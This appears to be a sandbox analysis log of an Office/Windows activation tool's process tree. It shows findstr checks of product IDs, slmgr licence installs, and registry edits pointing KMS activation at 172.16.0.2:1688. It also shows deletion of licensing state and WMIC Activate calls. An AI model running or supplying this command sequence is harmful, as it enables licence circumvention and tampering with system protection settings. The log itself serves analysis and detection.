C:\Windows\system32\findstr.exefindstr /I /C:"ProjectPro2024Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProjectStd2024Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"VisioPro2024Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"VisioStd2024Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Professional2021Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"HomeBusiness2021Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"HomeStudent2021Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProPlus2021Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Standard2021Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Excel2021Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Outlook2021Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"PowerPoint2021Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Publisher2021Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Word2021Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Access2021Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"SkypeforBusiness2021Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProjectPro2021Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProjectStd2021Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"VisioPro2021Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"VisioStd2021Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Professional2019Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"HomeBusiness2019Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"HomeStudent2019Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProPlus2019Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Standard2019Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Excel2019Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Outlook2019Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"PowerPoint2019Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Publisher2019Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Word2019Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Access2019Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"SkypeforBusiness2019Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProjectPro2019Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProjectStd2019Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"VisioPro2019Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"VisioStd2019Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProfessionalRetail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"HomeBusinessRetail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"HomeStudentRetail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"O365ProPlusRetail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"O365BusinessRetail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"O365SmallBusPremRetail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"O365HomePremRetail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"O365EduCloudRetail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"MondoRetail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"StandardRetail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ExcelRetail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"OutlookRetail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"PowerPointRetail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"PublisherRetail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"WordRetail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"AccessRetail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"SkypeforBusinessRetail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProjectProRetail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProjectStdRetail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"VisioProRetail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"VisioStdRetail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"OneNoteRetail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProPlus2019Volume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Standard2019Volume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Excel2019Volume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Outlook2019Volume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"PowerPoint2019Volume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Publisher2019Volume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Word2019Volume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Access2019Volume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"SkypeforBusiness2019Volume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProjectPro2019Volume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProjectStd2019Volume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"VisioPro2019Volume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"VisioStd2019Volume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"MondoVolume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"StandardVolume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ExcelVolume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"OutlookVolume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"PowerPointVolume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"PublisherVolume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"WordVolume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"AccessVolume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"SkypeforBusinessVolume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProjectProVolume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProjectStdVolume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"VisioProVolume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"VisioStdVolume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"OneNoteVolume" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\ProductReleaseIDs\BF982F93-3B3C-4CA1-8A6E-8130BEE5C625\ProPlusRetail.163⤵
- Modifies registry key
-
-
C:\Windows\system32\find.exefind /i "Office16ProPlusVL_KMS_Client" "C:\Windows\Temp\crvVolume.txt"3⤵
-
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\ProductReleaseIDs\BF982F93-3B3C-4CA1-8A6E-8130BEE5C625\ProPlusVolume.163⤵
- Modifies registry key
-
-
C:\Windows\system32\find.exefind /i "Office16MondoVL_KMS_Client" "C:\Windows\Temp\crvVolume.txt"3⤵
-
-
C:\Windows\system32\cscript.execscript.exe //NoLogo //B C:\Windows\Sysnative\slmgr.vbs /ilc "C:\Program Files\Microsoft Office\root\Licenses16\client-issuance-bridge-office.xrm-ms"3⤵
-
-
C:\Windows\system32\cscript.execscript.exe //NoLogo //B C:\Windows\Sysnative\slmgr.vbs /ilc "C:\Program Files\Microsoft Office\root\Licenses16\client-issuance-root-bridge-test.xrm-ms"3⤵
-
-
C:\Windows\system32\cscript.execscript.exe //NoLogo //B C:\Windows\Sysnative\slmgr.vbs /ilc "C:\Program Files\Microsoft Office\root\Licenses16\client-issuance-root.xrm-ms"3⤵
-
-
C:\Windows\system32\cscript.execscript.exe //NoLogo //B C:\Windows\Sysnative\slmgr.vbs /ilc "C:\Program Files\Microsoft Office\root\Licenses16\client-issuance-stil.xrm-ms"3⤵
-
-
C:\Windows\system32\cscript.execscript.exe //NoLogo //B C:\Windows\Sysnative\slmgr.vbs /ilc "C:\Program Files\Microsoft Office\root\Licenses16\client-issuance-ul-oob.xrm-ms"3⤵
-
-
C:\Windows\system32\cscript.execscript.exe //NoLogo //B C:\Windows\Sysnative\slmgr.vbs /ilc "C:\Program Files\Microsoft Office\root\Licenses16\client-issuance-ul.xrm-ms"3⤵
-
-
C:\Windows\system32\cscript.execscript.exe //NoLogo //B C:\Windows\Sysnative\slmgr.vbs /ilc "C:\Program Files\Microsoft Office\root\Licenses16\pkeyconfig-office.xrm-ms"3⤵
-
-
C:\Windows\system32\reg.exereg delete HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /f /v ProPlus2019Volume.OSPPReady3⤵
- Modifies registry key
-
-
C:\Program Files\Microsoft Office\root\integration\Integrator.exe"C:\Program Files\Microsoft Office\root\integration\integrator.exe" /I /License PRIDName=ProPlus2019Volume.16 PackageGUID="9AC08E99-230B-47e8-9721-4577B7F124EA" PackageRoot="C:\Program Files\Microsoft Office\root"3⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ApplicationID='0ff1ce15-a989-479d-af46-f275c6370663'" get LicenseFamily3⤵
-
-
C:\Windows\system32\find.exefind /i "ProPlus2019VL_"3⤵
-
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /f /v ProPlus2019Volume.OSPPReady /t REG_SZ /d 13⤵
- Modifies registry key
-
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr /I "ProPlus2019Volume"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds4⤵
- Modifies registry key
-
-
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds /t REG_SZ /d "ProPlusRetail,ProPlus2019Volume" /f3⤵
- Modifies registry key
-
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr 20193⤵
-
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr 20213⤵
-
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr 20243⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingService where Version='10.0.19041.1266' call RefreshLicenseStatus3⤵
-
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\msoxmled.exe"3⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "Description like '%KMSCLIENT%' AND NOT Name like '%MondoR_KMS_Automation%'" get Name /value3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 16" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 19" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ApplicationID='0ff1ce15-a989-479d-af46-f275c6370663' AND NOT Name like '%O365%'" get Name /value3⤵
-
-
C:\Windows\system32\find.exefind /i "R_Retail" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 14"3⤵
-
-
C:\Windows\system32\find.exefind /i "R_Retail" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 15"3⤵
-
-
C:\Windows\system32\find.exefind /i "R_Retail" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 16"3⤵
-
-
C:\Windows\system32\find.exefind /i "R_Retail" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 19"3⤵
-
-
C:\Windows\system32\find.exefind /i "R_Retail" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 21"3⤵
-
-
C:\Windows\system32\find.exefind /i "R_Retail" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 24"3⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ApplicationID='0ff1ce15-a989-479d-af46-f275c6370663' AND LicenseFamily like 'Office16O365%'" get LicenseFamily /value3⤵
-
-
C:\Windows\system32\find.exefind /i "O365"3⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "Description like '%KMSCLIENT%'" get Name /value3⤵
-
-
C:\Windows\system32\findstr.exefindstr /i Windows3⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and Description like '%KMSCLIENT%' and PartialProductKey is not NULL" get Name /value3⤵
-
-
C:\Windows\system32\findstr.exefindstr /i Windows3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingProduct where "ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and Description like '%KMSCLIENT%' and PartialProductKey is not NULL" get GracePeriodRemaining /value 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and Description like '%KMSCLIENT%' and PartialProductKey is not NULL" get GracePeriodRemaining /value4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingService get Version /value3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingService get Version /value4⤵
-
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "172.16.0.2"3⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688"3⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "172.16.0.2" /reg:323⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688" /reg:323⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /reg:323⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServiceName /t REG_SZ /d "172.16.0.2" /reg:323⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServicePort /t REG_SZ /d "1688" /reg:323⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f3⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServiceName /t REG_SZ /d "172.16.0.2"3⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServicePort /t REG_SZ /d "1688"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingProduct where "ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and Description like '%KMSCLIENT%' " get ID /value3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and Description like '%KMSCLIENT%' " get ID /value4⤵
-
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ID='2de67392-b7a7-462a-b1ca-108dd189f588'" get LicenseStatus /value3⤵
-
-
C:\Windows\system32\findstr.exefindstr "1"3⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "PartialProductKey is not NULL" get ID /value3⤵
-
-
C:\Windows\system32\findstr.exefindstr /i "2de67392-b7a7-462a-b1ca-108dd189f588"3⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\55c92734-d682-4d71-983e-d6ec3f16059f\2de67392-b7a7-462a-b1ca-108dd189f588" /f3⤵
-
-
C:\Windows\system32\reg.exereg delete "HKU\S-1-5-20\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PersistedSystemState" /f3⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingProduct where "ID='2de67392-b7a7-462a-b1ca-108dd189f588'" get Name /value3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ID='2de67392-b7a7-462a-b1ca-108dd189f588'" get Name /value4⤵
-
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where ID='2de67392-b7a7-462a-b1ca-108dd189f588' call Activate3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingProduct where "ID='2de67392-b7a7-462a-b1ca-108dd189f588'" get GracePeriodRemaining /value3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ID='2de67392-b7a7-462a-b1ca-108dd189f588'" get GracePeriodRemaining /value4⤵
-
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ID='3f1afc82-f8ac-4f6c-8005-1d233e606eee'" get LicenseStatus /value3⤵
-
-
C:\Windows\system32\findstr.exefindstr "1"3⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "PartialProductKey is not NULL" get ID /value3⤵
-
-
C:\Windows\system32\findstr.exefindstr /i "3f1afc82-f8ac-4f6c-8005-1d233e606eee"3⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ID='73111121-5638-40f6-bc11-f1d7b0d64300'" get LicenseStatus /value3⤵
-
-
C:\Windows\system32\findstr.exefindstr "1"3⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "PartialProductKey is not NULL" get ID /value3⤵
-
-
C:\Windows\system32\findstr.exefindstr /i "73111121-5638-40f6-bc11-f1d7b0d64300"3⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ID='82bbc092-bc50-4e16-8e18-b74fc486aec3'" get LicenseStatus /value3⤵
-
-
C:\Windows\system32\findstr.exefindstr "1"3⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "PartialProductKey is not NULL" get ID /value3⤵
-
-
C:\Windows\system32\findstr.exefindstr /i "82bbc092-bc50-4e16-8e18-b74fc486aec3"3⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ID='e0c42288-980c-4788-a014-c080d2e1926e'" get LicenseStatus /value3⤵
-
-
C:\Windows\system32\findstr.exefindstr "1"3⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "PartialProductKey is not NULL" get ID /value3⤵
-
-
C:\Windows\system32\findstr.exefindstr /i "e0c42288-980c-4788-a014-c080d2e1926e"3⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ID='e4db50ea-bda1-4566-b047-0ca50abc6f07'" get LicenseStatus /value3⤵
-
-
C:\Windows\system32\findstr.exefindstr "1"3⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "PartialProductKey is not NULL" get ID /value3⤵
-
-
C:\Windows\system32\findstr.exefindstr /i "e4db50ea-bda1-4566-b047-0ca50abc6f07"3⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ID='ec868e65-fadf-4759-b23e-93fe37f2cc29'" get LicenseStatus /value3⤵
-
-
C:\Windows\system32\findstr.exefindstr "1"3⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "PartialProductKey is not NULL" get ID /value3⤵
-
-
C:\Windows\system32\findstr.exefindstr /i "ec868e65-fadf-4759-b23e-93fe37f2cc29"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingProduct where "ApplicationID='0ff1ce15-a989-479d-af46-f275c6370663' and Description like '%KMSCLIENT%'" get ID /value3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ApplicationID='0ff1ce15-a989-479d-af46-f275c6370663' and Description like '%KMSCLIENT%'" get ID /value4⤵
-
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ID='0bc88885-718c-491d-921f-6f214349e79c'" get Name /value3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 14" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 15" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 16" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 19" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 21" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 24" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingProduct where "ID='0bc88885-718c-491d-921f-6f214349e79c'" get Name /value3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ID='0bc88885-718c-491d-921f-6f214349e79c'" get Name /value4⤵
-
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "PartialProductKey is not NULL" get ID /value3⤵
-
-
C:\Windows\system32\findstr.exefindstr /i "0bc88885-718c-491d-921f-6f214349e79c"3⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ID='85dd8b5f-eaa4-4af3-a628-cce9e77c9a03'" get Name /value3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 14" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 15" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 16" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 19" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 21" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 24" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingProduct where "ID='85dd8b5f-eaa4-4af3-a628-cce9e77c9a03'" get Name /value3⤵
- System Location Discovery: System Language Discovery
-
